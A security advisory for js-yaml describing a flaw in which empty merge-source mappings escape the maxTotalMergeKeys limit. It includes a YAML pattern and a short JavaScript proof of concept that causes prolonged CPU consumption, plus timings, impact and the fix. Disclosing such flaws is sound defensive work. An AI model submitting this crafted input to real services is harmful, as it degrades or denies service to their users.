GHSA-2883-xcg3-v3hh

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GHSA-2883-xcg3-v3hh

Summary: js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

Details: ## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. ## Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher.

References: https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh, https://nvd.nist.gov/vuln/detail/CVE-2026-84375, https://github.com/nodeca/js-yaml/pull/797, https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639, https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480, https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b, https://github.com/nodeca/js-yaml, https://github.com/nodeca/js-yaml/releases/tag/3.15.2, https://github.com/nodeca/js-yaml/releases/tag/4.3.2